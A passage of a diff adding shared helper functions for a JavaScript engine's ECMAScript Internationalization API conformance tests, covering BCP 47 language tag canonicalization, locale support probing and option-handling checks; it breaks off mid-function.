+ var desc = Object.getOwnPropertyDescriptor(obj, prop);
+ if (desc === undefined) {
+ $ERROR("Missing property " + prop + ".");
+ }
+ // accessor properties don't have writable attribute
+ if (desc.hasOwnProperty("writable") && !desc.writable) {
+ $ERROR("The " + prop + " property of this built-in function must be writable.");
+ }
+ if (desc.enumerable) {
+ $ERROR("The " + prop + " property of this built-in function must not be enumerable.");
+ }
+ if (!desc.configurable) {
+ $ERROR("The " + prop + " property of this built-in function must be configurable.");
+ }
+ });
+
+ // The remaining sections have been moved to the end of the test because
+ // unbound non-constructor functions written in JavaScript cannot possibly
+ // pass them, and we still want to test JavaScript implementations as much
+ // as possible.
+
+ var exception;
+ if (isFunction && !isConstructor) {
+ // this is not a complete test for the presence of [[Construct]]:
+ // if it's absent, the exception must be thrown, but it may also
+ // be thrown if it's present and just has preconditions related to
+ // arguments or the this value that this statement doesn't meet.
+ try {
+ /*jshint newcap:false*/
+ var instance = new obj();
+ } catch (e) {
+ exception = e;
+ }
+ if (exception === undefined || exception.name !== "TypeError") {
+ $ERROR("Built-in functions that aren't constructors must throw TypeError when " +
+ "used in a \"new\" statement.");
+ }
+ }
+
+ if (isFunction && !isConstructor && obj.hasOwnProperty("prototype")) {
+ $ERROR("Built-in functions that aren't constructors must not have a prototype property.");
+ }
+
+ // passed the complete test!
+ return true;
+}
+
diff --git a/js/src/tests/supporting/testIntl.js b/js/src/tests/supporting/testIntl.js
new file mode 100644
index 000000000..b009a2e9e
--- /dev/null
+++ b/js/src/tests/supporting/testIntl.js
@@ -0,0 +1,1167 @@
+// Copyright 2011-2012 Norbert Lindenberg. All rights reserved.
+// Copyright 2012-2013 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * This file contains shared functions for the tests in the conformance test
+ * suite for the ECMAScript Internationalization API.
+ * @author Norbert Lindenberg
+ */
+
+
+/**
+ * @description Calls the provided function for every service constructor in
+ * the Intl object, until f returns a falsy value. It returns the result of the
+ * last call to f, mapped to a boolean.
+ * @param {Function} f the function to call for each service constructor in
+ * the Intl object.
+ * @param {Function} Constructor the constructor object to test with.
+ * @result {Boolean} whether the test succeeded.
+ */
+function testWithIntlConstructors(f) {
+ var constructors = ["Collator", "NumberFormat", "DateTimeFormat"];
+ return constructors.every(function (constructor) {
+ var Constructor = Intl[constructor];
+ var result;
+ try {
+ result = f(Constructor);
+ } catch (e) {
+ e.message += " (Testing with " + constructor + ".)";
+ throw e;
+ }
+ return result;
+ });
+}
+
+
+/**
+ * Returns the name of the given constructor object, which must be one of
+ * Intl.Collator, Intl.NumberFormat, or Intl.DateTimeFormat.
+ * @param {object} Constructor a constructor
+ * @return {string} the name of the constructor
+ */
+function getConstructorName(Constructor) {
+ switch (Constructor) {
+ case Intl.Collator:
+ return "Collator";
+ case Intl.NumberFormat:
+ return "NumberFormat";
+ case Intl.DateTimeFormat:
+ return "DateTimeFormat";
+ default:
+ $ERROR("test internal error: unknown Constructor");
+ }
+}
+
+
+/**
+ * Taints a named data property of the given object by installing
+ * a setter that throws an exception.
+ * @param {object} obj the object whose data property to taint
+ * @param {string} property the property to taint
+ */
+function taintDataProperty(obj, property) {
+ Object.defineProperty(obj, property, {
+ set: function(value) {
+ $ERROR("Client code can adversely affect behavior: setter for " + property + ".");
+ },
+ enumerable: false,
+ configurable: true
+ });
+}
+
+
+/**
+ * Taints a named method of the given object by replacing it with a function
+ * that throws an exception.
+ * @param {object} obj the object whose method to taint
+ * @param {string} property the name of the method to taint
+ */
+function taintMethod(obj, property) {
+ Object.defineProperty(obj, property, {
+ value: function() {
+ $ERROR("Client code can adversely affect behavior: method " + property + ".");
+ },
+ writable: true,
+ enumerable: false,
+ configurable: true
+ });
+}
+
+
+/**
+ * Taints the given properties (and similarly named properties) by installing
+ * setters on Object.prototype that throw exceptions.
+ * @param {Array} properties an array of property names to taint
+ */
+function taintProperties(properties) {
+ properties.forEach(function (property) {
+ var adaptedProperties = [property, "__" + property, "_" + property, property + "_", property + "__"];
+ adaptedProperties.forEach(function (property) {
+ taintDataProperty(Object.prototype, property);
+ });
+ });
+}
+
+
+/**
+ * Taints the Array object by creating a setter for the property "0" and
+ * replacing some key methods with functions that throw exceptions.
+ */
+function taintArray() {
+ taintDataProperty(Array.prototype, "0");
+ taintMethod(Array.prototype, "indexOf");
+ taintMethod(Array.prototype, "join");
+ taintMethod(Array.prototype, "push");
+ taintMethod(Array.prototype, "slice");
+ taintMethod(Array.prototype, "sort");
+}
+
+
+// auxiliary data for getLocaleSupportInfo
+var languages = ["zh", "es", "en", "hi", "ur", "ar", "ja", "pa"];
+var scripts = ["Latn", "Hans", "Deva", "Arab", "Jpan", "Hant"];
+var countries = ["CN", "IN", "US", "PK", "JP", "TW", "HK", "SG"];
+var localeSupportInfo = {};
+
+
+/**
+ * Gets locale support info for the given constructor object, which must be one
+ * of Intl.Collator, Intl.NumberFormat, Intl.DateTimeFormat.
+ * @param {object} Constructor the constructor for which to get locale support info
+ * @return {object} locale support info with the following properties:
+ * supported: array of fully supported language tags
+ * byFallback: array of language tags that are supported through fallbacks
+ * unsupported: array of unsupported language tags
+ */
+function getLocaleSupportInfo(Constructor) {
+ var constructorName = getConstructorName(Constructor);
+ if (localeSupportInfo[constructorName] !== undefined) {
+ return localeSupportInfo[constructorName];
+ }
+
+ var allTags = [];
+ var i, j, k;
+ var language, script, country;
+ for (i = 0; i < languages.length; i++) {
+ language = languages[i];
+ allTags.push(language);
+ for (j = 0; j < scripts.length; j++) {
+ script = scripts[j];
+ allTags.push(language + "-" + script);
+ for (k = 0; k < countries.length; k++) {
+ country = countries[k];
+ allTags.push(language + "-" + script + "-" + country);
+ }
+ }
+ for (k = 0; k < countries.length; k++) {
+ country = countries[k];
+ allTags.push(language + "-" + country);
+ }
+ }
+
+ var supported = [];
+ var byFallback = [];
+ var unsupported = [];
+ for (i = 0; i < allTags.length; i++) {
+ var request = allTags[i];
+ var result = new Constructor([request], {localeMatcher: "lookup"}).resolvedOptions().locale;
+ if (request === result) {
+ supported.push(request);
+ } else if (request.indexOf(result) === 0) {
+ byFallback.push(request);
+ } else {
+ unsupported.push(request);
+ }
+ }
+
+ localeSupportInfo[constructorName] = {
+ supported: supported,
+ byFallback: byFallback,
+ unsupported: unsupported
+ };
+
+ return localeSupportInfo[constructorName];
+}
+
+
+/**
+ * @description Tests whether locale is a String value representing a
+ * structurally valid and canonicalized BCP 47 language tag, as defined in
+ * sections 6.2.2 and 6.2.3 of the ECMAScript Internationalization API
+ * Specification.
+ * @param {String} locale the string to be tested.
+ * @result {Boolean} whether the test succeeded.
+ */
+function isCanonicalizedStructurallyValidLanguageTag(locale) {
+
+ /**
+ * Regular expression defining BCP 47 language tags.
+ *
+ * Spec: RFC 5646 section 2.1.
+ */
+ var alpha = "[a-zA-Z]",
+ digit = "[0-9]",
+ alphanum = "(" + alpha + "|" + digit + ")",
+ regular = "(art-lojban|cel-gaulish|no-bok|no-nyn|zh-guoyu|zh-hakka|zh-min|zh-min-nan|zh-xiang)",
+ irregular = "(en-GB-oed|i-ami|i-bnn|i-default|i-enochian|i-hak|i-klingon|i-lux|i-mingo|i-navajo|i-pwn|i-tao|i-tay|i-tsu|sgn-BE-FR|sgn-BE-NL|sgn-CH-DE)",
+ grandfathered = "(" + irregular + "|" + regular + ")",
+ privateuse = "(x(-[a-z0-9]{1,8})+)",
+ singleton = "(" + digit + "|[A-WY-Za-wy-z])",
+ extension = "(" + singleton + "(-" + alphanum + "{2,8})+)",
+ variant = "(" + alphanum + "{5,8}|(" + digit + alphanum + "{3}))",
+ region = "(" + alpha + "{2}|" + digit + "{3})",
+ script = "(" + alpha + "{4})",
+ extlang = "(" + alpha + "{3}(-" + alpha + "{3}){0,2})",
+ language = "(" + alpha + "{2,3}(-" + extlang + ")?|" + alpha + "{4}|" + alpha + "{5,8})",
+ langtag = language + "(-" + script + ")?(-" + region + ")?(-" + variant + ")*(-" + extension + ")*(-" + privateuse + ")?",
+ languageTag = "^(" + langtag + "|" + privateuse + "|" + grandfathered + ")$",
+ languageTagRE = new RegExp(languageTag, "i");
+ var duplicateSingleton = "-" + singleton + "-(.*-)?\\1(?!" + alphanum + ")",
+ duplicateSingletonRE = new RegExp(duplicateSingleton, "i"),
+ duplicateVariant = "(" + alphanum + "{2,8}-)+" + variant + "-(" + alphanum + "{2,8}-)*\\3(?!" + alphanum + ")",
+ duplicateVariantRE = new RegExp(duplicateVariant, "i");
+
+
+ /**
+ * Verifies that the given string is a well-formed BCP 47 language tag
+ * with no duplicate variant or singleton subtags.
+ *
+ * Spec: ECMAScript Internationalization API Specification, draft, 6.2.2.
+ */
+ function isStructurallyValidLanguageTag(locale) {
+ if (!languageTagRE.test(locale)) {
+ return false;
+ }
+ locale = locale.split(/-x-/)[0];
+ return !duplicateSingletonRE.test(locale) && !duplicateVariantRE.test(locale);
+ }
+
+
+ /**
+ * Mappings from complete tags to preferred values.
+ *
+ * Spec: IANA Language Subtag Registry.
+ */
+ var __tagMappings = {
+ // property names must be in lower case; values in canonical form
+
+ // grandfathered tags from IANA language subtag registry, file date 2011-08-25
+ "art-lojban": "jbo",
+ "cel-gaulish": "cel-gaulish",
+ "en-gb-oed": "en-GB-oed",
+ "i-ami": "ami",
+ "i-bnn": "bnn",
+ "i-default": "i-default",
+ "i-enochian": "i-enochian",
+ "i-hak": "hak",
+ "i-klingon": "tlh",
+ "i-lux": "lb",
+ "i-mingo": "i-mingo",
+ "i-navajo": "nv",
+ "i-pwn": "pwn",
+ "i-tao": "tao",
+ "i-tay": "tay",
+ "i-tsu": "tsu",
+ "no-bok": "nb",
+ "no-nyn": "nn",
+ "sgn-be-fr": "sfb",
+ "sgn-be-nl": "vgt",
+ "sgn-ch-de": "sgg",
+ "zh-guoyu": "cmn",
+ "zh-hakka": "hak",
+ "zh-min": "zh-min",
+ "zh-min-nan": "nan",
+ "zh-xiang": "hsn",
+ // deprecated redundant tags from IANA language subtag registry, file date 2011-08-25
+ "sgn-br": "bzs",
+ "sgn-co": "csn",
+ "sgn-de": "gsg",
+ "sgn-dk": "dsl",
+ "sgn-es": "ssp",
+ "sgn-fr": "fsl",
+ "sgn-gb": "bfi",
+ "sgn-gr": "gss",
+ "sgn-ie": "isg",
+ "sgn-it": "ise",
+ "sgn-jp": "jsl",
+ "sgn-mx": "mfs",
+ "sgn-ni": "ncs",
+ "sgn-nl": "dse",
+ "sgn-no": "nsl",
+ "sgn-pt": "psr",
+ "sgn-se": "swl",
+ "sgn-us": "ase",
+ "sgn-za": "sfs",
+ "zh-cmn": "cmn",
+ "zh-cmn-hans": "cmn-Hans",
+ "zh-cmn-hant": "cmn-Hant",
+ "zh-gan": "gan",
+ "zh-wuu": "wuu",
+ "zh-yue": "yue",
+ // deprecated variant with prefix from IANA language subtag registry, file date 2011-08-25
+ "ja-latn-hepburn-heploc": "ja-Latn-alalc97"
+ };
+
+
+ /**
+ * Mappings from non-extlang subtags to preferred values.
+ *
+ * Spec: IANA Language Subtag Registry.
+ */
+ var __subtagMappings = {
+ // property names and values must be in canonical case
+ // language subtags with Preferred-Value mappings from IANA language subtag registry, file date 2011-08-25
+ "in": "id",
+ "iw": "he",
+ "ji": "yi",
+ "jw": "jv",
+ "mo": "ro",
+ "ayx": "nun",
+ "cjr": "mom",
+ "cmk": "xch",
+ "drh": "khk",
+ "drw": "prs",
+ "gav": "dev",
+ "mst": "mry",
+ "myt": "mry",
+ "tie": "ras",
+ "tkk": "twm",
+ "tnf": "prs",
+ // region subtags with Preferred-Value mappings from IANA language subtag registry, file date 2011-08-25
+ "BU": "MM",
+ "DD": "DE",
+ "FX": "FR",
+ "TP": "TL",
+ "YD": "YE",
+ "ZR": "CD"
+ };
+
+
+ /**
+ * Mappings from extlang subtags to preferred values.
+ *
+ * Spec: IANA Language Subtag Registry.
+ */
+ var __extlangMappings = {
+ // extlang subtags with Preferred-Value mappings from IANA language subtag registry, file date 2011-08-25
+ // values are arrays with [0] the replacement value, [1] (if present) the prefix to be removed
+ "aao": ["aao", "ar"],
+ "abh": ["abh", "ar"],
+ "abv": ["abv", "ar"],
+ "acm": ["acm", "ar"],
+ "acq": ["acq", "ar"],
+ "acw": ["acw", "ar"],
+ "acx": ["acx", "ar"],
+ "acy": ["acy", "ar"],
+ "adf": ["adf", "ar"],
+ "ads": ["ads", "sgn"],
+ "aeb": ["aeb", "ar"],
+ "aec": ["aec", "ar"],
+ "aed": ["aed", "sgn"],
+ "aen": ["aen", "sgn"],
+ "afb": ["afb", "ar"],
+ "afg": ["afg", "sgn"],
+ "ajp": ["ajp", "ar"],
+ "apc": ["apc", "ar"],
+ "apd": ["apd", "ar"],
+ "arb": ["arb", "ar"],
+ "arq": ["arq", "ar"],
+ "ars": ["ars", "ar"],
+ "ary": ["ary", "ar"],
+ "arz": ["arz", "ar"],
+ "ase": ["ase", "sgn"],
+ "asf": ["asf", "sgn"],
+ "asp": ["asp", "sgn"],
+ "asq": ["asq", "sgn"],
+ "asw": ["asw", "sgn"],
+ "auz": ["auz", "ar"],
+ "avl": ["avl", "ar"],
+ "ayh": ["ayh", "ar"],
+ "ayl": ["ayl", "ar"],
+ "ayn": ["ayn", "ar"],
+ "ayp": ["ayp", "ar"],
+ "bbz": ["bbz", "ar"],
+ "bfi": ["bfi", "sgn"],
+ "bfk": ["bfk", "sgn"],
+ "bjn": ["bjn", "ms"],
+ "bog": ["bog", "sgn"],
+ "bqn": ["bqn", "sgn"],
+ "bqy": ["bqy", "sgn"],
+ "btj": ["btj", "ms"],
+ "bve": ["bve", "ms"],
+ "bvl": ["bvl", "sgn"],
+ "bvu": ["bvu", "ms"],
+ "bzs": ["bzs", "sgn"],
+ "cdo": ["cdo", "zh"],
+ "cds": ["cds", "sgn"],
+ "cjy": ["cjy", "zh"],
+ "cmn": ["cmn", "zh"],
+ "coa": ["coa", "ms"],
+ "cpx": ["cpx", "zh"],
+ "csc": ["csc", "sgn"],
+ "csd": ["csd", "sgn"],
+ "cse": ["cse", "sgn"],
+ "csf": ["csf", "sgn"],
+ "csg": ["csg", "sgn"],
+ "csl": ["csl", "sgn"],
+ "csn": ["csn", "sgn"],
+ "csq": ["csq", "sgn"],
+ "csr": ["csr", "sgn"],
+ "czh": ["czh", "zh"],
+ "czo": ["czo", "zh"],
+ "doq": ["doq", "sgn"],
+ "dse": ["dse", "sgn"],
+ "dsl": ["dsl", "sgn"],
+ "dup": ["dup", "ms"],
+ "ecs": ["ecs", "sgn"],
+ "esl": ["esl", "sgn"],
+ "esn": ["esn", "sgn"],
+ "eso": ["eso", "sgn"],
+ "eth": ["eth", "sgn"],
+ "fcs": ["fcs", "sgn"],
+ "fse": ["fse", "sgn"],
+ "fsl": ["fsl", "sgn"],
+ "fss": ["fss", "sgn"],
+ "gan": ["gan", "zh"],
+ "gom": ["gom", "kok"],
+ "gse": ["gse", "sgn"],
+ "gsg": ["gsg", "sgn"],
+ "gsm": ["gsm", "sgn"],
+ "gss": ["gss", "sgn"],
+ "gus": ["gus", "sgn"],
+ "hab": ["hab", "sgn"],
+ "haf": ["haf", "sgn"],
+ "hak": ["hak", "zh"],
+ "hds": ["hds", "sgn"],
+ "hji": ["hji", "ms"],
+ "hks": ["hks", "sgn"],
+ "hos": ["hos", "sgn"],
+ "hps": ["hps", "sgn"],
+ "hsh": ["hsh", "sgn"],
+ "hsl": ["hsl", "sgn"],
+ "hsn": ["hsn", "zh"],
+ "icl": ["icl", "sgn"],
+ "ils": ["ils", "sgn"],
+ "inl": ["inl", "sgn"],
+ "ins": ["ins", "sgn"],
+ "ise": ["ise", "sgn"],
+ "isg": ["isg", "sgn"],
+ "isr": ["isr", "sgn"],
+ "jak": ["jak", "ms"],
+ "jax": ["jax", "ms"],
+ "jcs": ["jcs", "sgn"],
+ "jhs": ["jhs", "sgn"],
+ "jls": ["jls", "sgn"],
+ "jos": ["jos", "sgn"],
+ "jsl": ["jsl", "sgn"],
+ "jus": ["jus", "sgn"],
+ "kgi": ["kgi", "sgn"],
+ "knn": ["knn", "kok"],
+ "kvb": ["kvb", "ms"],
+ "kvk": ["kvk", "sgn"],
+ "kvr": ["kvr", "ms"],
+ "kxd": ["kxd", "ms"],
+ "lbs": ["lbs", "sgn"],
+ "lce": ["lce", "ms"],
+ "lcf": ["lcf", "ms"],
+ "liw": ["liw", "ms"],
+ "lls": ["lls", "sgn"],
+ "lsg": ["lsg", "sgn"],
+ "lsl": ["lsl", "sgn"],
+ "lso": ["lso", "sgn"],
+ "lsp": ["lsp", "sgn"],
+ "lst": ["lst", "sgn"],
+ "lsy": ["lsy", "sgn"],
+ "ltg": ["ltg", "lv"],
+ "lvs": ["lvs", "lv"],
+ "lzh": ["lzh", "zh"],
+ "max": ["max", "ms"],
+ "mdl": ["mdl", "sgn"],
+ "meo": ["meo", "ms"],
+ "mfa": ["mfa", "ms"],
+ "mfb": ["mfb", "ms"],
+ "mfs": ["mfs", "sgn"],
+ "min": ["min", "ms"],
+ "mnp": ["mnp", "zh"],
+ "mqg": ["mqg", "ms"],
+ "mre": ["mre", "sgn"],
+ "msd": ["msd", "sgn"],
+ "msi": ["msi", "ms"],
+ "msr": ["msr", "sgn"],
+ "mui": ["mui", "ms"],
+ "mzc": ["mzc", "sgn"],
+ "mzg": ["mzg", "sgn"],
+ "mzy": ["mzy", "sgn"],
+ "nan": ["nan", "zh"],
+ "nbs": ["nbs", "sgn"],
+ "ncs": ["ncs", "sgn"],
+ "nsi": ["nsi", "sgn"],
+ "nsl": ["nsl", "sgn"],
+ "nsp": ["nsp", "sgn"],
+ "nsr": ["nsr", "sgn"],
+ "nzs": ["nzs", "sgn"],
+ "okl": ["okl", "sgn"],
+ "orn": ["orn", "ms"],
+ "ors": ["ors", "ms"],
+ "pel": ["pel", "ms"],
+ "pga": ["pga", "ar"],
+ "pks": ["pks", "sgn"],
+ "prl": ["prl", "sgn"],
+ "prz": ["prz", "sgn"],
+ "psc": ["psc", "sgn"],
+ "psd": ["psd", "sgn"],
+ "pse": ["pse", "ms"],
+ "psg": ["psg", "sgn"],
+ "psl": ["psl", "sgn"],
+ "pso": ["pso", "sgn"],
+ "psp": ["psp", "sgn"],
+ "psr": ["psr", "sgn"],
+ "pys": ["pys", "sgn"],
+ "rms": ["rms", "sgn"],
+ "rsi": ["rsi", "sgn"],
+ "rsl": ["rsl", "sgn"],
+ "sdl": ["sdl", "sgn"],
+ "sfb": ["sfb", "sgn"],
+ "sfs": ["sfs", "sgn"],
+ "sgg": ["sgg", "sgn"],
+ "sgx": ["sgx", "sgn"],
+ "shu": ["shu", "ar"],
+ "slf": ["slf", "sgn"],
+ "sls": ["sls", "sgn"],
+ "sqs": ["sqs", "sgn"],
+ "ssh": ["ssh", "ar"],
+ "ssp": ["ssp", "sgn"],
+ "ssr": ["ssr", "sgn"],
+ "svk": ["svk", "sgn"],
+ "swc": ["swc", "sw"],
+ "swh": ["swh", "sw"],
+ "swl": ["swl", "sgn"],
+ "syy": ["syy", "sgn"],
+ "tmw": ["tmw", "ms"],
+ "tse": ["tse", "sgn"],
+ "tsm": ["tsm", "sgn"],
+ "tsq": ["tsq", "sgn"],
+ "tss": ["tss", "sgn"],
+ "tsy": ["tsy", "sgn"],
+ "tza": ["tza", "sgn"],
+ "ugn": ["ugn", "sgn"],
+ "ugy": ["ugy", "sgn"],
+ "ukl": ["ukl", "sgn"],
+ "uks": ["uks", "sgn"],
+ "urk": ["urk", "ms"],
+ "uzn": ["uzn", "uz"],
+ "uzs": ["uzs", "uz"],
+ "vgt": ["vgt", "sgn"],
+ "vkk": ["vkk", "ms"],
+ "vkt": ["vkt", "ms"],
+ "vsi": ["vsi", "sgn"],
+ "vsl": ["vsl", "sgn"],
+ "vsv": ["vsv", "sgn"],
+ "wuu": ["wuu", "zh"],
+ "xki": ["xki", "sgn"],
+ "xml": ["xml", "sgn"],
+ "xmm": ["xmm", "ms"],
+ "xms": ["xms", "sgn"],
+ "yds": ["yds", "sgn"],
+ "ysl": ["ysl", "sgn"],
+ "yue": ["yue", "zh"],
+ "zib": ["zib", "sgn"],
+ "zlm": ["zlm", "ms"],
+ "zmi": ["zmi", "ms"],
+ "zsl": ["zsl", "sgn"],
+ "zsm": ["zsm", "ms"]
+ };
+
+
+ /**
+ * Canonicalizes the given well-formed BCP 47 language tag, including regularized case of subtags.
+ *
+ * Spec: ECMAScript Internationalization API Specification, draft, 6.2.3.
+ * Spec: RFC 5646, section 4.5.
+ */
+ function canonicalizeLanguageTag(locale) {
+
+ // start with lower case for easier processing, and because most subtags will need to be lower case anyway
+ locale = locale.toLowerCase();
+
+ // handle mappings for complete tags
+ if (__tagMappings.hasOwnProperty(locale)) {
+ return __tagMappings[locale];
+ }
+
+ var subtags = locale.split("-");
+ var i = 0;
+
+ // handle standard part: all subtags before first singleton or "x"
+ while (i < subtags.length) {
+ var subtag = subtags[i];
+ if (subtag.length === 1 && (i > 0 || subtag === "x")) {
+ break;
+ } else if (i !== 0 && subtag.length === 2) {
+ subtag = subtag.toUpperCase();
+ } else if (subtag.length === 4) {
+ subtag = subtag[0].toUpperCase() + subtag.substring(1).toLowerCase();
+ }
+ if (__subtagMappings.hasOwnProperty(subtag)) {
+ subtag = __subtagMappings[subtag];
+ } else if (__extlangMappings.hasOwnProperty(subtag)) {
+ subtag = __extlangMappings[subtag][0];
+ if (i === 1 && __extlangMappings[subtag][1] === subtags[0]) {
+ subtags.shift();
+ i--;
+ }
+ }
+ subtags[i] = subtag;
+ i++;
+ }
+ var normal = subtags.slice(0, i).join("-");
+
+ // handle extensions
+ var extensions = [];
+ while (i < subtags.length && subtags[i] !== "x") {
+ var extensionStart = i;
+ i++;
+ while (i < subtags.length && subtags[i].length > 1) {
+ i++;
+ }
+ var extension = subtags.slice(extensionStart, i).join("-");
+ extensions.push(extension);
+ }
+ extensions.sort();
+
+ // handle private use
+ var privateUse;
+ if (i < subtags.length) {
+ privateUse = subtags.slice(i).join("-");
+ }
+
+ // put everything back together
+ var canonical = normal;
+ if (extensions.length > 0) {
+ canonical += "-" + extensions.join("-");
+ }
+ if (privateUse !== undefined) {
+ if (canonical.length > 0) {
+ canonical += "-" + privateUse;
+ } else {
+ canonical = privateUse;
+ }
+ }
+
+ return canonical;
+ }
+
+ return typeof locale === "string" && isStructurallyValidLanguageTag(locale) &&
+ canonicalizeLanguageTag(locale) === locale;
+}
+
+
+/**
+ * Tests whether the named options property is correctly handled by the given constructor.
+ * @param {object} Constructor the constructor to test.
+ * @param {string} property the name of the options property to test.
+ * @param {string} type the type that values of the property are expected to have
+ * @param {Array} [values] an array of allowed values for the property. Not needed for boolean.
+ * @param {any} fallback the fallback value that the property assumes if not provided.
+ * @param {object} testOptions additional options:
+ * @param {boolean} isOptional whether support for this property is optional for implementations.
+ * @param {boolean} noReturn whether the resulting value of the property is not returned.
+ * @param {boolean} isILD whether the resulting value of the property is implementation and locale dependent.
+ * @param {object} extra additional option to pass along, properties are value -> {option: value}.
+ * @return {boolean} whether the test succeeded.
+ */
+function testOption(Constructor, property, type, values, fallback, testOptions) {
+ var isOptional = testOptions !== undefined && testOptions.isOptional === true;
+ var noReturn = testOptions !== undefined && testOptions.noReturn === true;
+ var isILD = testOptions !== undefined && testOptions.isILD === true;
+
+ function addExtraOptions(options, value, testOptions) {
+ if (testOptions !== undefined && testOptions.extra !== undefined) {
+ var extra;
+ if (value !== undefined && testOptions.extra[value] !== undefined) {
+ extra = testOptions.extra[value];
+ } else if (testOptions.extra.any !== undefined) {
+ extra = testOptions.extra.any;
+ }
+ if (extra !== undefined) {
+ Object.getOwnPropertyNames(extra).forEach(function (prop) {
+ options[prop] = extra[prop];
+ });
+ }
+ }
+ }
+
+ var testValues, options, obj, expected, actual, error;
+
+ // test that the specified values are accepted. Also add values that convert to specified values.
+ if (type === "boolean") {
+ if (values === undefined) {
+ values = [true, false];
+ }
+ testValues = values.slice(0);
+ testValues.push(888);
+ testValues.push(0);
+ } else if (type === "string") {
+ testValues = values.slice(0);
+ testValues.push({toString: function () { return values[0]; }});
+ }
+ testValues.forEach(function (value) {
+ options = {};
+ options[property] = value;
+ addExtraOptions(options, value, testOptions);
+ obj = new Constructor(undefined, options);
+ if (noReturn) {
+ if (obj.resolvedOptions().hasOwnProperty(property)) {
+ $ERROR("Option property " + property + " is returned, but shouldn't be.");
+ }
+ } else {
+ actual = obj.resolvedOptions()[property];
+ if (isILD) {
+ if (actual !== undefined && values.indexOf(actual) === -1) {
+ $ERROR("Invalid value " + actual + " returned for property " + property + ".");
+ }
+ } else {
+ if (type === "boolean") {
+ expected = Boolean(value);
+ } else if (type === "string") {
+ expected = String(value);
+ }
+ if (actual !== expected && !(isOptional && actual === undefined)) {
+ $ERROR("Option value " + value + " for property " + property +
+ " was not accepted; got " + actual + " instead.");
+ }
+ }
+ }
+ });
+
+ // test that invalid values are rejected
+ if (type === "string") {
+ var invalidValues = ["invalidValue", -1, null];
+ // assume that we won't have values in caseless scripts
+ if (values[0].toUpperCase() !== values[0]) {
+ invalidValues.push(values[0].toUpperCase());
+ } else {
+ invalidValues.push(values[0].toLowerCase());
+ }
+ invalidValues.forEach(function (value) {
+ options = {};
+ options[property] = value;
+ addExtraOptions(options, value, testOptions);
+ error = undefined;
+ try {
+ obj = new Constructor(undefined, options);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Invalid option value " + value + " for property " + property + " was not rejected.");
+ } else if (error.name !== "RangeError") {
+ $ERROR("Invalid option value " + value + " for property " + property + " was rejected with wrong error " + error.name + ".");
+ }
+ });
+ }
+
+ // test that fallback value or another valid value is used if no options value is provided
+ if (!noReturn) {
+ options = {};
+ addExtraOptions(options, undefined, testOptions);
+ obj = new Constructor(undefined, options);
+ actual = obj.resolvedOptions()[property];
+ if (!(isOptional && actual === undefined)) {
+ if (fallback !== undefined) {
+ if (actual !== fallback) {
+ $ERROR("Option fallback value " + fallback + " for property " + property +
+ " was not used; got " + actual + " instead.");
+ }
+ } else {
+ if (values.indexOf(actual) === -1 && !(isILD && actual === undefined)) {
+ $ERROR("Invalid value " + actual + " returned for property " + property + ".");
+ }
+ }
+ }
+ }
+
+ return true;
+}
+
+
+/**
+ * Tests whether the named property of the given object has a valid value
+ * and the default attributes of the properties of an object literal.
+ * @param {Object} obj the object to be tested.
+ * @param {string} property the name of the property
+ * @param {Function|Array} valid either a function that tests value for validity and returns a boolean,
+ * an array of valid values.
+ * @exception if the property has an invalid value.
+ */
+function testProperty(obj, property, valid) {
+ var desc = Object.getOwnPropertyDescriptor(obj, property);
+ if (!desc.writable) {
+ $ERROR("Property " + property + " must be writable.");
+ }
+ if (!desc.enumerable) {
+ $ERROR("Property " + property + " must be enumerable.");
+ }
+ if (!desc.configurable) {
+ $ERROR("Property " + property + " must be configurable.");
+ }
+ var value = desc.value;
+ var isValid = (typeof valid === "function") ? valid(value) : (valid.indexOf(value) !== -1);
+ if (!isValid) {
+ $ERROR("Property value " + value + " is not allowed for property " + property + ".");
+ }
+}
+
+
+/**
+ * Tests whether the named property of the given object, if present at all, has a valid value
+ * and the default attributes of the properties of an object literal.
+ * @param {Object} obj the object to be tested.
+ * @param {string} property the name of the property
+ * @param {Function|Array} valid either a function that tests value for validity and returns a boolean,
+ * an array of valid values.
+ * @exception if the property is present and has an invalid value.
+ */
+function mayHaveProperty(obj, property, valid) {
+ if (obj.hasOwnProperty(property)) {
+ testProperty(obj, property, valid);
+ }
+}
+
+
+/**
+ * Tests whether the given object has the named property with a valid value
+ * and the default attributes of the properties of an object literal.
+ * @param {Object} obj the object to be tested.
+ * @param {string} property the name of the property
+ * @param {Function|Array} valid either a function that tests value for validity and returns a boolean,
+ * an array of valid values.
+ * @exception if the property is missing or has an invalid value.
+ */
+function mustHaveProperty(obj, property, valid) {
+ if (!obj.hasOwnProperty(property)) {
+ $ERROR("Object is missing property " + property + ".");
+ }
+ testProperty(obj, property, valid);
+}
+
+
+/**
+ * Tests whether the given object does not have the named property.
+ * @param {Object} obj the object to be tested.
+ * @param {string} property the name of the property
+ * @exception if the property is present.
+ */
+function mustNotHaveProperty(obj, property) {
+ if (obj.hasOwnProperty(property)) {
+ $ERROR("Object has property it mustn't have: " + property + ".");
+ }
+}
+
+
+/**
+ * Properties of the RegExp constructor that may be affected by use of regular
+ * expressions, and the default values of these properties. Properties are from
+ * https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Deprecated_and_obsolete_features#RegExp_Properties
+ */
+var regExpProperties = ["$1", "$2", "$3", "$4", "$5", "$6", "$7", "$8", "$9",
+ "$_", "$*", "$&", "$+", "$`", "$'",
+ "input", "lastMatch", "lastParen", "leftContext", "rightContext"
+];
+
+var regExpPropertiesDefaultValues = (function () {
+ var values = Object.create(null);
+ regExpProperties.forEach(function (property) {
+ values[property] = RegExp[property];
+ });
+ return values;
+}());
+
+
+/**
+ * Tests that executing the provided function (which may use regular expressions
+ * in its implementation) does not create or modify unwanted properties on the
+ * RegExp constructor.
+ */
+function testForUnwantedRegExpChanges(testFunc) {
+ regExpProperties.forEach(function (property) {
+ RegExp[property] = regExpPropertiesDefaultValues[property];
+ });
+ testFunc();
+ regExpProperties.forEach(function (property) {
+ if (RegExp[property] !== regExpPropertiesDefaultValues[property]) {
+ $ERROR("RegExp has unexpected property " + property + " with value " +
+ RegExp[property] + ".");
+ }
+ });
+}
+
+
+/**
+ * Tests whether name is a valid BCP 47 numbering system name
+ * and not excluded from use in the ECMAScript Internationalization API.
+ * @param {string} name the name to be tested.
+ * @return {boolean} whether name is a valid BCP 47 numbering system name and
+ * allowed for use in the ECMAScript Internationalization API.
+ */
+
+function isValidNumberingSystem(name) {
+
+ // source: CLDR file common/bcp47/number.xml; version CLDR 21.
